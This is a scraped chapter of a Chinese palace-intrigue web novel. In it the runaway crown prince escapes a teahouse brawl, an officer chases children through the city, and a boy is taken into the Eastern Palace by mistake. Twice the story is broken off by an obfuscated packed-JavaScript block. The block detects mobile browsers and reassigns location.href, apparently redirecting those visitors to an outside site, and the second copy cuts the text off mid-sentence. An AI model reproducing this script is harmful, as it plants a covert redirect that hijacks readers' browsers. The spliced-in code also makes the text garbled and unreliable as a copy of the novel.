“也不算,巡防那边听到消息就赶过去时就一片混乱,现场有人使了火药一样的东西,烟雾弥漫,百姓人挤人四处逃窜,混乱中也看不清究竟是哪些人闹事。” “……就这些?” 属兵微垂首,不语。 “随便抓几个当时凑热闹的来总署司,关起来问问。” “……”场院里属兵们面面相觑,回话属兵忍不住还是说了:“千户大人,不太好吧,现在市井百姓见到兵马总属司的人都绕路走,就连巡防营的兄弟们日常巡视都觉得百姓们把他们当做阴差一般。何况,两位倪千户已经定下规矩,不可随意抓人来属司里恐吓盘问。” “……我哪有恐吓?”沈溟也懒得同他们理论,“算了,那有没有别的确凿具体一点的消息?” “据说,当时闹事里有两个人,一个跑一个追着往西郊去了。” “这两人长什么样?” “一个普通百姓打扮,一个做护卫打扮,很年轻,相貌俊逸,倒是极好看的。” 沈溟微笑,温柔平易得看向属兵:“下次再找这种闲看热闹的富家婆娘打听消息,我真的会扒了你们的皮,看谁还敢打着公务的幌子去勾搭有钱的姨娘。” “没……没,没有啊。”底下的兵们嘟囔着否认。< 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“东宫关系重大,能教唆太子的,必定是朝中人,但是现在看来,除了蔚王一党,没人有理由会做出这样的事啊。而且蔚王自己被囚,其党羽能肃清的基本上也都做到了肃清,余孽自保尚且不足,翻出这样的大浪,应该不太可能。” “就怕有疏漏。我先去宫中,你去宫城外候着,如有消息,立即传给我。” “是,主子。” “宫外,只能交给沈溟了。” ***** 由于对城内巷道不熟,丁越险些被甩开,奔走许久,进了西郊山林,丁越已经牢牢咬在那青年身后,他内心的怀疑已经变成笃定,“你就是那日在瑞城的刺客!” 听到这话,那人脚步一滞,终于停下。 “你跑不过我,也打不过我。不如束手就擒。” 那人忽而举起手中的物件,丁越看到,就是方才他声称被小孩抢,紧紧护在怀中的东西,原来是一个卷轴。刺客双手举起卷轴,恭敬的跪地,少顷,不知何时倚在树后的人不急不慢走出来,伸手接过了那卷轴。 是他! 丁越有些惊,自己一门心思追人,却连这样随意隐藏的一个大活人都没注意到,若在军中,岂不是轻易就能落入敌人圈套? “他自然是跑不过也打不过你,但是上一次他不就全须全尾的从你眼皮底下溜了吗?”那人还是穿着圆领常服,蒙着脸,看不清容貌,但是声音依旧,丁越立刻就认出,这是上次半路杀出救走这刺客的青年。 “阁下每次都出现得很及时。” “那是自然,我的人我还是知道他最容易在哪个环节出岔子的,我用他,自然也要护他。” “话说得倒是很义气,却看你指使他做的事却未必如是,多行不义,早晚你连自己都护不住。” 蒙面青年展开卷轴,仔仔细细看着,口中却不忘答丁越的话:“是呢,小公子上次也是这样说,你我见面两次,你都认定我是那不义之人,但这世间很多事都不能用简单的道义二字评判。小公子,我觉得我们甚是有缘,这个,是我费了些心思才得的,就当见面礼,送你了。”言罢就将手里那卷轴扔给了丁越,“小公子,再往前是皇林,可千万别追哦,咱们后会有期。” 丁越将卷轴接了,再要说话,却听身后丛林中似有声响,丁越心道莫不是真的落入他人的圈套之中,心下一紧,没等出招,只见七七八八出来一小队人马,而那二人就在这个空当飞身离去。 “五城兵马属司,勿要妄动!” 丁越驻足原地,被七八个巡防属兵严严实实围了一圈。 31.闹事 姜南阗一行往东,终于远离恩悌巷,躲在隐秘角落暂避风头。 “没想到丁公子一语成谶,现在真的要放暗号让爹爹和江出兄来接我们了。”黄其甫放出暗号,一面等江出和黄碚到来,一面等走散的丁越和姜南疏前来汇合。 三人默然,只是冥冥中似乎有什么事情被他们忽视了。 就在三人想到一处的时刻,黄其甫恍然开了口。“不对啊,五公子呢?” …… 姜南羿是随行的,三人确认了这一点之后开始回忆是从哪一刻开始把五公子弄丢的。 “好像……巡防兵来之前,五弟弟就不在我边上了。”江南苒道,“莫非,他当时进了阁楼?还是说他跟着丁越哥哥跑了?” “好像都不是。” “好像是……阁楼内烟雾炸起之时……” ****** 太子楚琮瞻没想到出宫寻画,却遇到了抢劫,当众被反咬一口不说,还被人堵在茶楼里,但是他不能为自己申辩,当务之急是确保自己的身份不暴露,并且赶快回东宫。 情急之下,楚琮瞻随身携带的“眼迷离”派上了用场,他掏出来一掷,茶楼里顿时烟雾弥漫。在混乱不清中,楚琮瞻借着身形优势翻到阁楼边,再顺着后侧方的边柱滑到角楼下,最后趁乱逃走,过程中他还拽了个椅帔罩在头上。 “幸好带上了予鹿给的‘眼迷离’,我只当它是个烟花炮仗,没想到竟有奇效。”楚琮瞻一边暗自庆幸,一边直往东寻车驾。 “你可能高兴得太早了,小弟弟。” 楚琮瞻侧目,一男孩倚在茶摊前的矮窗上,他内着深紫色腊梅暗绣圆领袍,外着黑色腊梅暗绣半臂外衣,腰间黑色暗纹勾边腰带上,坠着一条络子,里面裹着的玉佩看不清样式。他束着发髻,马尾甩了一撮在右肩上,其中还附了几绺细辫。 楚琮瞻看着他,不确定他在和自己说话,左右乜了眼,复又对上那男孩的脸。毋庸置疑,男孩正看着他,微挑着嘴角,眼中含笑,也含了几分盛气。 “什么小弟弟,你看着并不比我年长,妄排尊卑。” “我看你应该是哪个高门贵府里偷溜出来的公子,你这一身武艺定是家中人给你找了师傅教导过的,你怎好出来闯祸?闯了祸,还想就这么逃走?” “谁说我闯祸了?是方才那人抢了我的东西。” “是吗?那你刚才怎么不解释,只一味想着开溜,也不想把自己的东西夺回来?”说话间,男孩已经走到楚琮瞻跟前。 看着比自己高半个头的男孩,楚琮瞻失去了些许底气,对方能在混乱中识破自己的盾术,还轻而易举堵住自己的去路,真打起来,恐怕没有胜算,眼下更重要的是确保自己不被兵马属司的人抓住,赶紧回宫,否则东宫要乱套了。但是怎样甩开眼前这个难缠的家伙,着实令楚琮瞻头疼。 只能第三十六计了,楚琮瞻不再多说,推开那男孩就往东继续狂奔,他速度极快,轻易的避开了一路的人和物。就在此时,前方隐约似有马蹄声,椅帔覆面,楚琮瞻约莫看见有一辆马车。他心下一喜,直觉那是乔矜安排好的东宫接应他的车驾。 楚琮瞻加快步伐朝那马车奔去。恰在此时,左边巷道口一马匹嘶鸣着朝楚琮瞻袭来,那马无人驾驭,只管迎头朝前冲,楚琮瞻反应过来之时已避无可避。 来不及了!楚琮瞻闭上眼,在这千钧一发危难时刻,脑中只剩一句:“完了。” 视线受阻的楚琮瞻似乎听到一阵惊呼,但是马蹄声在他的耳畔尤为清晰,楚琮瞻听到它疾速靠近后瞬间落地的声音,近在耳侧,随即远去。不知过了多久,马蹄声又逐渐靠近,楚琮瞻毫发无伤的睁开眼,他仍然处在恍惚中。 “吓傻了?” 楚琮瞻闻声抬头,逆光中,男孩扯着缰绳,受惊的马儿被他降驭得游刃有余,逆着光,楚琮瞻看不清男孩的表情,只听他说:“快起来,我送你回家!”那语气里,尽显得瑟。 ****** “别跑!” 不跑是不可能的,但是姜南疏此刻已经有点力竭了。 与姜南阗等人分开的时候,姜南疏有意要吸引巡防兵的注意,彼时大街上混乱纷杂,人群蜂拥,巡防兵骑马反而没有姜南疏跑得灵活。可是临近昌隆街后,马路宽阔,无处藏匿,且巡防兵密布,姜南疏意识到自己将要面临“插翅难飞”的局面。 “那小子,跑得贼快。” “看着人也不大,能生出什么事啊。”一个跑在后排的兵犹疑起来。 “今天上面交代,务必拿住一切生事之人。何况我们追了几条街,这小子甩掉好几拨人了,普通半大小子能跑这么快吗?” “就因为这个,所以就怕是像是哪个官家的娃。” “咱们是巡防,头上是五城兵马总属司,再往上还有顾都督和三个硬骨头。你怕啥?咱们抓人什么时候要操心这个了?”另一个分析起来。 “不对,是两个硬骨头,姓沈的那位……就算了吧。” “别废话了。”最前面一位膀大腰圆的巡防兵,打断正在议论的众人,掏出竹哨打了声响,“怕事的就只管堵,想立功的尽管抓。”说完踢了马肚跑远了。 附近巡防兵听到响哨纷纷来堵,姜南疏临危不乱,闪身进入两座宅邸之间的窄巷,说来也巧,这窄巷恰能容下姜南疏身形。穿过窄巷,出来就是另一条街道了,姜南疏还未松口气,几个巡防兵打窄巷口经过。虚惊一场,姜南疏稳了稳心神,从巷口往外看了一圈,唯有一辆玄色马车停在对街路边。犹豫间,杂沓的马蹄声渐进,江南疏别无他计,一个箭步钻进了马车之中,没想到的是,这马感受到有人落座,当即踢踢踏踏的走动起来。 “这马居然没有落栓?” 缰绳一般插在车轼下方,姜南疏小心翼翼的撩开帘,发现车轼格外宽平,若非坐在外面,否则根本够不着缰绳,也就做不到控制住这匹马。他自车窗往外观察了一番,外围巡防兵较之前只多不少…… “哎……”姜南疏微微摇头,徒叹奈何之际,一道身影自窗外映入眼帘。姜南疏兀自思忖片刻,再次朝那身影看去,不久前的一些记忆被唤醒…… “小孩,其实最厉害的人,你们早就见过了……” “那人就是大程国曾经的镇北大将军,季鹰军主帅,你们的爹爹。” “然而你们何其幸运,如此年幼,今日却又见到了天下另一个非常厉害的人。” “那是,巡按御史沈大……啊!” 马车只是轻微震动,姜南疏吃了一惊,毕竟在逃脱抓捕,他提着精神,令他感到不妙的是,此刻马车似乎变沉了,车帘外的光影暗了些许,凝神观察,姜南疏确定,有人坐在了这辆马车前侧,正驭马而行。 ****** 沈溟不是急性子,但是今日却难掩焦躁,他唰的打开折扇,快速的给自己招呼了几下。边上的属兵感受到无形威压,大气也不敢出。 “今日到底谁在闹事?怎么一会是两个孩子骑着马往东,一会是一个孩子飞檐走壁往东?还有说是两个少年带着个小姑娘往南的?” “千户大人……属下们,所见属实啊,只怕,只怕……” “怕个屁!”沈溟一甩宽袖,再度上马,他看了眼日头,快到未时了,不知道属兵们报上来的消息中,哪一个才是太子。如果太子还不回宫,不知道东宫会生出什么事端,最重要的是,太子此刻是否安全。 此地离鸿宇大街尚有段路程,沈溟朝宫城的方向看了看,估摸乔广陵已经到了轩天门,如果东宫有消息,北林会立即传给他。 不过他知道,北林的消息不会来得这么快。 在焦灼等待消息的间隙,沈溟又想起今日在西郊城外那两名追逃的少年,沈溟刚出兵马属司之时原是要去西郊抓人的,半途得知东边有几名当事孩童踪迹,沈溟料想其中一个可能是太子,便立即调转了马头,来到了鸿宇大街附近。 “如果太子楚琮瞻今日真的在恩悌巷出现,那么西郊那两人必定是涉事者,巡防兵口中所报的尚在城中乱窜的几个孩子,其中一人很有可能就是太子。找到太子是最重要的,但万一一时半火找不到,最直接的办法就是去审问那被抓的年轻人。” 沈溟心中这样想着,便朝身边的兵马司属兵招呼了声,“你去告诉倪大人,就说今天西郊抓住的少年不可轻易放了,把人关在兵马司茶屋。”属兵应声,沈溟又补了句:“谁问也不好使,就说这人是我要亲自去审的。”交代完,沈溟把折扇往空中抛了抛,自以为很有掩盖性的说了句:“抓小孩嘛,好像挺好玩的。” 兵马属司哨声此起彼伏,中间也有属兵错把非目标者看成要抓的人。沈溟站在街心,暗骂了句废物,巡防兵和直属兵马司的属兵都聚在这几条街,反而不利于抓捕。就在众人一筹莫展之时,沈溟觉得,从方才哪刻起,自己就被一双眼睛盯上了,这感觉时而明显,时而薄弱。他哈哈一笑,叹了口气:“许久不出来巡防,没成想现在抓个孩子,巡防司也如此吃力。” 边上巡防兵听了,难免刺耳,握刀拱手认错:“千户大人,卑职等必当竭尽全力。一定抓住在逃之人。” 沈溟又慈和的宽慰道:“哎,巡防的弟兄今日辛苦,不怪你们,要知道,灯芯暗黑处,虽人人可见,却又无人得见。”言尚未尽,那名巡防兵的手里握着的刀已经出窍,沈溟折扇轻挑刀柄,掌心运力,刀芒直指队伍的末尾。众人目光所及,队尾马上之人立即倒仰,避开锋芒,众目睽睽之下,马背上方才还虎背熊腰的同僚,刹那间变成了两小儿。 沈溟轻笑道:“有趣,会玩。”旋即利落的在马鞍上拍了一掌,仅凭这掌势,身体腾空跃起,足尖轻点马背,飞身入巷。人人被这徒然发生的一幕震惊得错愕不已,等到反应过来要去追的时候,为时晚矣,两孩童早已经窜进小弄,消失没影儿了。 两孩子身形瘦小灵活,一进入巷子就窜进角落隐匿了起来。巡防兵迅速围追堵截,沈溟则深入探寻,终于逼得那孩童现身。 沈溟见那孩子在屋脊梁柱间行走来去自如,不禁叹到,“这小鬼,身法奇觉,颇有天资。” 沈溟虽也身姿劲瘦轻盈,却不比孩童身量瘦小;小弄易于躲藏,但孩童武力有限。 辗转跑了几条巷子,沈溟对那小鬼心中的盘算了然于心。各坊各街川横交错,屋舍楼阁鳞次栉比,沈溟并不苦追,只觉得那前面跑的那孩子,有似曾相识之感。 日下高头,沈溟站在高屋瓴,他的影子停在东北向,脚下的几条巷子都被巡防兵塞满了。他眉宇舒展,眼眸清明,静静地看着方才两孩子进巷子那处顶层阁楼,少顷,沈溟目色微微一沉…… —— 阁楼内,自以为甩开了沈溟的男孩冲着角落喊了一句:“快出来罢。” 这顶层阁楼不及丈高,太子楚琮瞻灵活的从阁楼后堆放的一坛坛酒酿中探出脑袋,看到头上裹着椅帔的男孩,放心大胆的跳出来,拍了拍身上的灰尘,“今日你救下我两次,我都记下了,他日我一定好好答谢你。” 原来方才为了甩开沈溟,男孩让楚琮瞻躲进阁楼,自己则蒙着椅帔只身去引开沈溟。 “我看我还是先送你回家,你爹娘更会答谢我,说不定酬劳比你给的更多。”男孩揶揄道。 “你……”楚琮瞻欲要发作,但看男孩还裹着他抢的椅帔,蒙着脸,只露出一双明亮的眸子,莫名消了火,“算了,看在你今日有功的份上,我暂且不与你计较,你叫什么。” “我……” “你们是不是还打算结个拜?”两人交谈之际,一个声音猝不及防从身后传来。 二人回头,沈溟不知道什么时候已经站在楼内,他倚着墙边的一副云梯,站在暗处。 男孩第一反应便是拉着楚琮瞻往外逃。 “站住!”沈溟冷然道。 说来也奇,楚琮瞻竟然真的停下了,男孩不可置信,一副“你有病吧,为何不逃”的表情看着他,只听沈溟淡淡道:“轩天门外,绀青色马车,你舅舅在等你。” 听到此,男孩立即松开了楚琮瞻,然后回头看向沈溟——站在暗处的人神色不明,阁楼里光线混沌,只见那人折扇轻摇,清灰常服映出一层暗淡的光。 楚琮瞻来不及解释,拽着男孩朝轩天门奔去。 ****** 沈千户去抓小孩了,属兵则将他的话老老实实转报了倪千户。 其时倪昌正在核对旅邸配给数额,按理说这差事今日轮到沈溟了,兵马总属司没有统领都督,三位千户和副首顾羌行在外看来相互制约,实际同气连枝,却在具体事物上又秉持互不干涉之道。尽管对沈溟的很多行为不敢苟同,但是大抵都是能不管就不管,如同今日这般,他习以为常的认为这的确是沈溟行事风格,故而人也不看就命下属照办。他自己则兢(自)兢(认)业(倒)业(霉)的送配给去了。 恩悌巷今日闹事者众多,送配给途中倪昌又刻意在恩悌巷周遭多转了一圈,方才朝西边的旅邸走去。 “大人,今日巡防戒严了,因为白天有闹事者,巡防兵在这里抓了多个在场人回去。想必不会在有事的。” “嗯,我也是防患未然,冬遇大典在即,许多外国节度使臣朝贺,不可马虎。” “永益城的百姓在这方面我瞧着还是省心的,甭说平时掐架拌嘴闹得多厉害,一到外朝入都,底子里那些个最爱生事的刁民,也会抬头挺胸做出一派大国臣民的样子出来。” 倪昌忍不住哂笑:“第一次听人把仗势欺人说得这么悦耳动听。不过,越是有心维持的东西,越容易被有心之人拿来破坏,做文章。” “为什么?” 倪昌沉吟了一会,“因为越是精心维护得好的东西,就越是能勾起人打碎它的恶念吧……” 属兵把手伸进颈里,挠了挠发根,“属下不明白,千户大人的意思,不用戒严,就算刁民闹事,也做常态之法处之?” 另一个属兵当即给了他一拳头,驳道:“真是对牛弹琴,不用戒严大人为何还要特意来巡视?当然是提防蕞尔小国之人在关键时刻寻衅滋事,毁我大程风貌。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15465657|164060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倪昌温和的笑了,劝道:“我也就随口说说,公务不可懈怠,该戒严还是得戒严。” 队伍照常行进,走了没多久,就听见前方有吵闹声,一群人围在一货摊门口。不时还听见有人哭喊“打人”,“欺负人”云云。属兵率先将闹事者制止,待倪昌上前,不由吃了一惊。 “你……们,姜……你们,诸位缘何在此啊?” 一句话问的结结巴巴,边上的属兵没听出倪昌的顾虑,直截了当的斥问道:“你们,籍册所在统统报来,都干什么的,快……” “咳咳。”倪奂忍不住干咳了两声,拍了拍刚调动起情绪问话的属兵,挤到最前面,“今日永益城中不太平,诸位若是……” “回禀大人。草民姜南阗,这是草民的妹妹江南苒,还有家中三名护卫,黄碚、黄其甫、江出。” “咳咳咳……”吸了口凉气,倪昌这次真真切切的咳嗽了两声。 姜南阗彬彬有礼,一派世家公子风范。方才问话的属兵几不可见的噎住了,此时不消倪昌阻止,竟一个字也没多说。 今年江南平定水患,抗击海贼,守卫军粮的事迹,自那日早朝散后遍传永益城中,继而姜家父子擢升的消息昭告天下,不管前尘往事是否消弭,至少眼下,这姜家的确再次成为当朝重臣。 姜南阗虽已升任坞城指挥史,而实际要等姜家从永益城回坞城,拿了任命文书,去有司衙门交接官印,才可自称指挥史,此时以草民自居,到也恰当。 但是旁人可不敢真当他是草民。 倪昌送配给时就见过姜家人,也算是相对熟悉,内心深知对他们行一般审问章程十分不妥,但此为闹市,愣头青下属又开了这个巡查问责的头。众目睽睽之下,不好轻飘飘揭过,最要命的是,姜南阗居然就这样青口白牙把身份交代得明明白白,让倪昌退无可退,只好硬着头皮,询问事发缘由。 “千户大人,事情是这样的,我等今日特来城中闲逛,见这永益城中繁华满目,心下欢喜,就想着给家中弟弟妹妹们带些永益城中精美的小玩意儿,不成想……”姜南阗不急不躁,看了眼货摊掌柜,“在采买过程中,和这位店主就价钱和货物品相起了点争执。” “大人。”掌柜立即抢道:“这几位客官一看就不是普通百姓,鄙人只是一介商贩,哪敢糊弄。原是这姑娘打碎了小店的玉炉,几位不愿赔付不说,还扬言要,要砸了我的铺面。” “非是如此。”姜南阗没有生气,态度却十分坚定,“玉炉损毁也与三妹无关。” 江南苒本就是急性,早就忍不住了,辩驳道:“就是,他自己故意将玉炉摔到地上,非说是我打碎的。” 掌柜见二人在五城兵马属司面前仍旧一副泰然自若的模样,心中不由发虚,略一沉思,计上心头。只见他唯唯诺诺看了一眼江出和黄碚父子,怯生生将头埋得更低,一副担惊受怕的样子,道:“是,是,小的不敢,是小人眼拙手慢,没有及时接住姑娘递过来的玉炉……” 听掌柜如此,边上的看客躁动起来,开始议论。 “你……”江南苒气急。 “姑娘人小,又是千金贵体,我这个粗鄙的买卖人更应该小心伺候着才是。” 江南苒哪里受过这样的气,愤然中竟不知该从哪里开始骂。黄其甫轻轻按住了自家三小姐的肩膀,出面道:“颠倒是非,明明是你自己砸碎了物品,却在这里大吼大叫嫁祸到我们身上,这根本就是变着法的强卖,掌柜这生意真是做得另辟蹊径。” 黄碚也说:“这位摊主方才可不是这幅模样。您方才不是还一副盛气凌人之态吗?” 掌柜看着卑微,嘴巴却没闲着,“大人,这玉炉采用上等白玉经由大师耗时数月才精心雕琢而成,就连底配都是上等紫檀木。我也只是如实向诸位介绍货品,诸位若觉得价格不妥,鄙人也愿意折价出售。” 江出道:“这位店主所谓的折价出售,实际却足足抬了五成利,嘴里还说什么永益城不比那穷乡僻壤之类的话语,不知店主口中的穷乡僻壤,指的是我大程国哪片土地?” 边上窸窸窣窣,看客们边看热闹边议论着自己心中的是与非。 掌柜依旧哈着腰,“那是,那是鄙人有眼无珠,只一门心思想着生意,不知晓人情世故……”这话有点厉害,就差当街宣告众人,五城兵马属司与姜南阗一行是权贵相护,沆瀣一气欺负他这个平头百姓。 各执一词,一时难以分辨,倪昌是个武人,平时多在军中,直面百姓却分外在意轻重。属兵问了一圈也没有个人证站出来,走到倪昌面前,摇了摇头。倪昌微微点头,看了一眼姜南阗,道:“姜公子。我看这店主所求无非是损毁的玉炉有个着落,做生意嘛,就怕开张一天白忙活。若您所求是要还原真相,可能需要点时间。” 江南苒听不得,分辨道:“这个人,所卖之物非是真品,价格还足足抬高了五倍,我与他分辨,他讽刺等是穷乡僻壤来的,没见过世面不识货。” “三白。”姜南阗温声制止妹妹。转头对倪昌说:“千户大人恕罪,妹妹年幼,自小任性惯了。” “是他不对在先的,我说他,那是实实在在的过错。他骂我们,纯粹是出言侮辱。”江南苒越说越厉,对着货摊掌柜连珠炮也似:“拿着秦绣当宣绣,还说店内丝帕出自紫秀坊。还把普通窑瓷说成是醉窑出的,还拿着棉麻夹丝说是东瀛传进来新奇品,那样式分明是……” 江南苒还要继续发作,被姜南阗扯住,轻轻拍了拍。这是一个安抚的动作。 倪昌看了眼货摊掌柜,这人面色青白,不知道是气急还是心虚。 姜南阗安抚完妹妹,对倪昌拱手,千户大人公务缠身,有些事并不是非较真不可的,今日若非事关我三妹,也不会劳烦兵马属司,这玉炉我们买下了。但是损毁它绝非我三妹的过错。” 没有人证,说来说去不过是赔付一顶玉炉,只要姜南阗等人愿意出钱,即可大事化小小事化了。倪昌明白的,姜南阗亦明白。在旁人看来如是,在姜南阗看来却不然。 掌柜满意了,十分有眼力见的捧着残品,做小伏低道:“我这里是小本生意,若诸位客官看得起,我愿意折价,还愿无偿将玉炉修复,他日送到贵客府上也成。”又冲倪昌一脸痴笑:“千户大人,您看鄙人这样您可还满意?” 倪昌定睛看了他一眼,那笑眼里写着什么一览无余。他挪开了眼,略一沉吟,道:“将玉炉带回,送去天工苑,仔细鉴别。还有方才姜姑娘口中置疑的货品,一并拿去。” 掌柜呆愣住,少顷秉着哭腔道:“千户大人,千户大人,鄙人不敢了,鄙人小本生意,家中上有老下有小,若是大人要惩处鄙人,鄙人无话可说,求大人不要断了鄙人生路啊,大人……” 属兵上前阻拦,呵斥道:“大胆,兵马属司按章程办事,谁也不可阻拦,只是拿你的货品验真伪,除有待查验的货品不可贩卖,你仍然可以继续经营。若查验出有不合律法,假商行骗的,按律法裁决。在天宫院查验期间,你不可擅自离家出城。无故潜逃者,罪加一等。” 32.东宫(上) 自轩天门进,往东,车行四五里,过了顺天殿,便是东宫玄意门。方肃公公跳下车轼,拿出蛟出瀚海纹饰的东宫令牌,晃了晃,敬天司的李敏并不仔细看,只问:“太子殿下在车内?” 方肃没答话,一副老神在在的样子,这意思是等着李敏自己去掀帘查验。李敏看不惯此人许久,冷然道:“方公公。” “李御蕖,若是放心不下,大可掀开这御用的八角轩驾的锦帘。” 东宫车驾呈八角莲花形,而这朵莲花只有自上而下俯瞰才能看清其塑造,若是自外围看,仍然是四方周正的普通贵族马车。方肃这是在特意提醒李敏,东宫车驾,从来都不仅仅是代替脚程,太子尊荣亦不是谁都可以看的。平日里伺候太子左右的,谁不是低着头大气也不敢喘,休说掀开帘子查验。但是李敏职属敬天司,站在玄意门外,铁则和特权需要酌情权衡,这其中无非是看,哪种结果才是作为一名敬天司芙蕖所能承受的。 李敏觉察今日方肃表现定有猫腻,但是太子入东宫天经地义,至于在这门里门外发生的事情,并不在他李敏的掌控之中。就算今日为保万一真的铁面无私查验了车驾,里面无异太子不怒自然皆大欢喜,万一真的发现什么东宫不愿暴露的秘密,他的处境只怕更艰难,好歹太子平安在这里,照常进入了东宫,那他恪尽职守,分内之事毕,理当放行。 如雷霆乍惊,宫车过也,乔矜独坐书院,心急如焚,闻声立即飞奔而出,方肃公公朝乔矜颔首,退了下去。乔矜跳上马车,刚撩开帘,就被拽了进去。他一个趔趄,跌在一个臂弯里,紧接着一把刀横在颈侧,寒意袭来,乔矜脑中空白,只剩一句,“变天了吗?” “别动!” 这声音冷冷的,和抵在颈间的利刃一样。乔矜闭了闭眼,尽量让自己冷静。 “我不想伤害你,你现在就带我出去。” 乔矜咽了咽口水,实实在在的说:“恕我直言,这位哥哥,进轩天门之前你就该想法子出去,如今东宫的门你都进了,反而来指望我,是不是太为难人了。” “……” 耳边传来的气息明显不稳,乔矜把握住时机,果断反抗,死死扣住对方持刀的手,转身反拧,将人牢牢锁在车驾内的软凳上。“这位哥哥,你中毒了。冒充太子是大罪,但是交代出太子下落之前,我是不会让你有事的。” “……” 乔矜感知对方已经体力不支,也不再压制,他将人搀扶起来,看清了那张脸,又摸出软凳下面的一枚药盒,药力已经散尽,这也是放倒眼前这个人的关窍,本意是想让太子在回宫途中能够老老实实,不成想弄巧成拙。乔矜蹙眉喃喃道:“得赶紧告知爹爹。” ****** 皇城内的大街小巷全是巡防兵和五城兵马司的属兵,姜南疏疲于奔命,马车就如一片孤岛,许他暂避风头。但是安稳没有持续多久,车轼上坐下一个人,马车向陌生的地方行进,姜南疏想逃离,手脚却使不上力气。他手掌用力在软凳上和车壁间摩挲,却连做到稳住身形都难,就在姜南疏额头沁出一层汗的时候,车外驭马的人开了口,告诉了他将要去的地方,叫做东宫。 “太子殿下,您就该老老实实稳坐东宫,那里才是你该待的地方啊,怎可在这腌臜世道之中,挨苦受累呢。” 那人柔声细语,姜南疏听着却觉得这话语间充斥着十分的危险。他更想挣扎了,奈何越挣扎,越是被困在原地,逐渐动弹不得。 迷蒙中,姜南疏喃喃道:“我不是太子,带我出去。” …… 姜南疏悠悠转醒,挑高的屋宇与精美的雕梁画栋照应。转头,墙边是摆满卷轴和书籍的边几,而他自己,则躺在竹筵上,边上是矮案,笔墨纸砚并书册颇有章法的摆放着。空气中充斥好闻的清香,令姜南疏感觉舒适,梦中的无力和疲惫感正在一点点被抽走。稍稍回神,他没有继续沉浸在这舒适中,取而代之是那句:“我不是太子,带我出去。” “我知你不是太子,但这东宫,你暂时也是的确出不去了。” 青色竹子暗绣圆领袍,外着兔毛滚边半臂无领褙子,一看便知是书香门第的公子儒生。姜南疏看着眼前面色白皙粉嫩的小公子,“这里是东宫?” “嗯,东宫勤泽苑,太子读书写窗课的地方,不过这里是偏殿。” 姜南疏缓缓坐起,四处打量一番,又狐疑的看向眼前的小儒生。“你是太子侍读?” 小儒生撩起角袍,十分得体的跪坐下来,直视姜南疏答:“乔矜。不知这位哥哥是什么人,又缘何在太子殿下的车驾中。” 姜南疏不知从何说起,又不知该不该如实答,反问:“太子殿下的车驾为何会出现在市井?且车中为何会放置烈性迷药?” 这下轮到乔矜沉默,他知道对方并不是真的要知道答案,而是提醒他,这是一个把柄。他继续劝道:“若你想安全出去,如实相告才是最明智的。” “是吗?” 这两个字和在马车内那句“别动”的味道一个样,但是乔矜反应过来时却已经来不及,姜南疏扑过来,拧住他的手腕,将他扣在地上锁住。就如同在马车上他将姜南疏反锁住一样。 “这位哥哥看着温文尔雅,怎么如此睚眦必报?” 姜南疏不搭理,腾出一只手,顺利从乔矜腰间摸索出一枚药盒。“你就是拿它意图谋害太子的对吧?” “……我没有要谋害太子,否则你就不是晕过去这么简单。” “……” “这事说来复杂,这位哥哥所求无非是安全出东宫,我所求是等太子平安归来,若你能心平气和好好与我配合,说不定……” 姜南疏听出一些端倪,犹疑中,缓缓放开了乔矜。 二人尚在试探中,那厢,内侍方肃公公站在门口轻咳了一声。乔矜整了整衣襟,捏了捏手腕,起身走了出去。 姜南疏不明所以,攥紧手中的药盒。 不多时,乔矜回到偏厅。“这药效已经散了,一整盒,都被你用的干干净净,你虽拿着它,却没什么作用。” 姜南疏侧过脸看向他,这次他是一副温和清明之态,带着淡淡笑意道:“你怎知我要将它用在你身上,焉知我不是拿着它做为证据,比直接用来迷晕你更有用。” 乔矜复又走过来坐下,“这话倒不假。” “……”姜南疏有点意外,这孩子竟然就这样自然的坐在他身边,全无防备,就好似,他们只是萍水相逢,正在谈论一件稀松平常的事情。由于处境非常,姜南疏此刻才真正注意到乔矜看着不到总角之年,心智未全,想必对世事和人仍是单纯稚嫩的心思。 “你还是个小孩子。” “你也是孩子。” “乔矜?矜持的矜?”像姑娘家的名字。 “哥哥呢?” “姜南疏。”不知道为何,姜南疏不允许自己说谎。 “好听。”乔矜拿起笔,在纸上写了自己的名字,又递给了姜南疏。 姜南疏有些迟疑。 “写完就烧了。”乔矜挪过那樽干的砚池。就是给这张纸找好了葬身之地。 姜南疏感到有些好笑,竟然真的写了自己的名字。但是这时乔矜却露出了讶然的表情。乔矜拿起那纸,看了又看,思忖了一会,又拿起笔在边上写了两个字。 “予鹿?” “嗯,予取有节,鹿车共挽是我的字。”边说,边将笔递出。 “果然单纯可爱又聪颖。”姜南疏在心底暗叹,接过笔,在纸上写下“拜玉”二字。 比起方才的讶然,乔矜脸上更多了惊喜。灿若桃花的看向姜南疏道:“南疏哥哥,真是字如其人,字如其人。” 显然,乔矜赞美的是姜南疏的书法和名字,以及,他这个人,这个和乔矜并不相熟的陌生人。在这直白的夸赞和真挚的眼神注视下,姜南疏会心而笑。 “偏殿是安全的,南疏哥哥,我会帮你出去。但是要等,最晚酉时。”仿佛是因为打从心底里认可了姜南疏,乔矜忽而就斩钉截铁的保证道。 姜南疏并不完全相信,但是眼下,也只能寄希望于这个比自己小的男孩。 “但是……”乔矜眼观鼻,略微想了一下,“南疏哥哥可不可以先帮我一个忙?” “什么?” “‘君子当以仁,君子不当以仁’。” 姜南疏不解,只见乔矜果将方才写名字的纸置于砚池中烧了,又拿了张新的,压好镇纸。 “先生出的小策论题,我不会写,但是今日酉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 